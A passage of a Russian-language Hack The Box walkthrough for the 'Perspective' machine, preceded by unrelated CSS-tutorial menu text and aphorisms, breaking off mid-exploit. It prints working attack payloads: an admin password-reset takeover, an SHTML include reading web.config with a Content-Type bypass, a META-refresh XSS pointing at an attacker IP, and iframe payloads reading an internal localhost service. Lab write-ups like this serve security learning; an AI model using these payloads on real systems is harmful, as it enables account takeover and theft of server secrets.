Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /
, чтобы было удобнее обращаться к ней:
10.10.11.151 perspective.htb
И запускаем сканирование портов.
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Скрипт нашел два открытых порта: 22 — служба OpenSSH for Windows и 80 — веб‑сервер Microsoft IIS 10.0. Кроме как с веб‑сервером, работать пока не с чем.
На сайте можно зарегистрироваться и авторизоваться. Сразу сделаем это, так как зарегистрированным пользователям доступно больше функций, а значит, будет больше мест для тестирования.
На сайте есть возможность создавать и просматривать продукты. Но что более интересно, мы находим почтовый адрес админа, а также возможность сбрасывать пароль.
После ввода почтового адреса нам задают вопросы, ответы на которые мы указывали при регистрации. Причем, если мы указываем почтовый адрес админа, вместо вопросов отображается сообщение о том, что сброс пароля администратора не включает секретные вопросы и процедура недоступна.
Но если перехватить запрос на сброс пароля после ответа на вопросы, можно увидеть, что, помимо прочего, на сервер передается и почтовый адрес.
Я изменил свой почтовый адрес на admin@perspective.
и все равно получил новую форму, в которой нужно указать новый пароль. Мало того, пароль можно установить!
Авторизуемся от имени админа и получаем доступ к админской панели.
Админ может смотреть продукты других пользователей, для этого достаточно указать имя пользователя или почтовый адрес.
Вдобавок к этому можно скачать PDF со списком продуктов. В нем все то же самое, что и на сайте.
Тогда перейдем обратно к созданному аккаунту и попробуем добавить продукт. Для продукта можно указать изображение — это очень интересный момент, так как это изображение (точнее, файл) будет вставлен в PDF. Значит, можно попробовать подключить файл SHTML, что при его включении в PDF позволит получить содержимое произвольного файла с диска. Давай создадим SHTML, который загрузит файл конфигураций web.
:
<!--#include file="../web.config"-->
Но при загрузке такого файла сервер выдаст ошибку — загружать можно только изображение. Это можно обойти, если в Burp Proxy исправить содержимое HTTP-заголовка Content-Type
обратно на image/
.
В Burp History обнаружим запрос к SHTML и конфигурации в ответе.
Из интересного отмечаем сервис на порте 8000, доступный для локального хоста, а также зашифрованный пароль.
Так как есть промежуточный сервис обработки и преобразования введенных нами данных, следует поискать другие уязвимости, которые помогут эксфильтровать данные с внутреннего сервера на порте 8000. И натыкаемся на фильтр XSS.
Так как используются фильтры, стоит перебрать возможные варианты нагрузок. Это поможет найти нагрузку, обходящую фильтры. Перехватываем запрос в Burp Proxy и перенаправляем в Burp Intruder (комбинация клавиш Ctrl-I, Ctrl-Shift-I).
В опциях добавим параметр Grep — Extract и выберем опознавательную строку, которая будет сообщать об обнаруженной атаке.
Эта опция добавит в результат перебора еще один столбец, который отобразит возвращенное сервером сообщение. Так мы быстро отфильтруем нагрузки, которые обходят фильтр. Для перебора я взял готовый список с гитхаба Payload Box.
В результате находим немало вариантов для эксплуатации XSS. Остановимся на использовании тега meta
:
<META HTTP-EQUIV="refresh" CONTENT="0;url=http://10.10.14.58:8000/test.html">
Эта нагрузка должна включить в отчет страницу test.
с нашего сервера. Для теста откроем на локальном хосте порт 8000 и отправим нагрузку.
Запрос пришел, а значит, сервис уязвим!
Теперь перейдем к содержимому подключаемого файла. В нашем HTML-файле будем использовать тег iframe
для загрузки и отображения сервиса на порте 8000.
<iframe src="http://localhost:8000/">iframe>
Генерируем PDF и видим в нем нужную нам страницу.
Страница полностью не поместилась во фрейм, поэтому зададим ему размеры.
<iframe src="http://localhost:8000/" height="2500px" width="2500px">iframe>
Теперь можем разобрать содержимое страницы. Видим функции encrypt
и decrypt
, а также ссылку на скрипт. Просмотрим код указанного JS-файла.
<iframe src="http://localhost:8000/swagger/v1/swagger.json" height="2000px" width="2000px">iframe>
При обращении к странице decrypt
нужно предоставить параметр cipherTextRaw
. Теперь мы можем попробовать расшифровать полученный из файла web.
параметр ViewStateUserKey
.
|
|